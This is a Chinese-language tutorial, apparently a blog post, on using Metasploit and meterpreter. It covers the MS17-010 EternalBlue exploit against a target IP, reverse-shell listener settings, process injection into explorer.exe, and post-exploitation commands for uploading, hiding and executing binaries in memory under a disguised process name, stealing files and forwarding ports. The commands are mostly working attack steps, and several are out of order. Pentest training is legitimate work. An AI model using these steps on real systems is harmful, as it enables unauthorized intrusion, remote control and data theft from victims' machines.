详尽的msf——meterpreter——渗透测试教程
文章目录 详尽的msf——meterpreter——渗透测试教程
前言
本文仅供学习参考使用,切勿用于非法事情!!
众所周知,msf是大家公认的神器,年少不知msf香,总想自己写程序。
现在发现msf很厉害,可以在它的基础上开发。
msf是框架,什么意思呢,用它可以做渗透攻击的一整套流程,包括前期探索(发育),中期攻击(开团),后期控守(推塔)
我们可以在msfconsole上,开发自己的程序(用自己的英雄),程序可以利用msf中的模块(用它的装备)
msfconsole简介
Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。
#初次使用:
service postgresql start # 启动数据库服务
msfdb init # 初始化数据库
#之后使用:
msfconsole # 启动metasploit
#查看帮助选项
help
#search - 查看漏洞:
search ms08_067
#use - 使用漏洞:
use exploit/windows/smb/ms08_067_netapi
#show - 查看可以攻击的靶机操作系统型号(targets):
show targets
#set - 设置target 参数(xx是对应被攻击靶机的型号):
set target xx
#set - 设置rhost参数(攻击靶机的ip地址):
set rhost 192.168.xxx.xxx
#show - 查看参数:
show options
#进行攻击:
exploit
五大模块:
渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。
Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
监听器(Listener),是Metasploit中用来等待网络连接的组件。
msfconsole使用方法——常用命令
直接使用并进行一次攻击
在内网,反弹shell可以直接链接到本机IP,
在外网,如果端口转发,回连的IP为外网IP,回连的端口为外网端口
use auxiliary/scanner/smb/smb_ms17_010
具体参数可以查看帮助选项 help
msfconsole攻击实战
由于msfconsole是内网渗透神器,所以在外网上效果差强人意,需要考虑端口转发等等事情。
例如:
成功上传payload并执行后,可以得到目标的meterpreter(伪shell)
以一次永恒之蓝漏洞过程为例
渗透过程:
先用msfconsole的smb模块扫描,看看是否有漏洞
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhost 192.168.148.137
#设置payload等
set lhost 192.168.148.134
set lport 4444
run
set SessionExpirationTimeout 0
存在漏洞 使用模块 设置目标
结果:
查看信息 ok
按照网上的教程,该payload都是64位的,如果目标机是32位的,会出现架构不对的情况,需要下载新的模块并加载
如何加载新的模块、开发新的模块请看目录:载入外部模块:关于ms17_010实战后续
备注:
默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为
#查看目标
sessions -i
#选择目标
sessions -i id
#批量执行命令
sessions -c cmd
#批量执行命令
sessions -C "meterpreter_cmd"
#从选择的目标返回
background
#退出session,而且关闭所有meterpreter
exit
/usr/share/metasploit-framework/modules/exploits/windows/smb
渗透结束:
当批量渗透完目标,有很多session(很多攻击成功的结果),我们可以进行如下操作
载入外部模块:关于ms17_010实战后续
如果payload出现架构错误的情况,如图4,
可以使用github上的模块
复制到ROOT目录,解压
如果是kali自带的msf,复制到
/opt/metasploit-framework/embedded/framework/modules/exploits/windows/smb
reload_all
reload
use exploit/windows/smb/eternalblue_doublepulsar
show options
wine -h
set processinject explorer.exe
upload 1.exe c:\\ls\\
如果是Linux后下载的msf,复制到
打开msf,
该exp可能是基于windows定做,在linux上运行有些问题,所以安装wine32
再次exploit
又报错,尝试进程注入伪装
ok,成功反弹shell
meterpreter命令执行
upload - 上传文件
上传exe到目标靶机c:\ls\下
download c:\\ls\\1.exe
execute -H -i -f cmd.exe
execute -H -m -d notepad.exe -f 1.exe -a "-o 2.txt"
#-d 在目标主机执行时显示的进程名称(用以伪装)
#-m 直接从内存中执行
#"-o 2.txt"1.exe的运行参数
download - 下载目标靶机相对应权限的任意路径下的文件
命令 download file path
sysinfo 命令
显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。
运行目标主机上的cmd.exe程序,以隐藏的方式直接交互到meterpreter会话上
# 端口转发,本机监听yyyy,把目标机zzzz转到本机yyyy
portfwd add -l yyyy -p zzzz -r 192.168.xxx.xxx
#查看指定端口开放情况
netstat -an | grep"yyyy"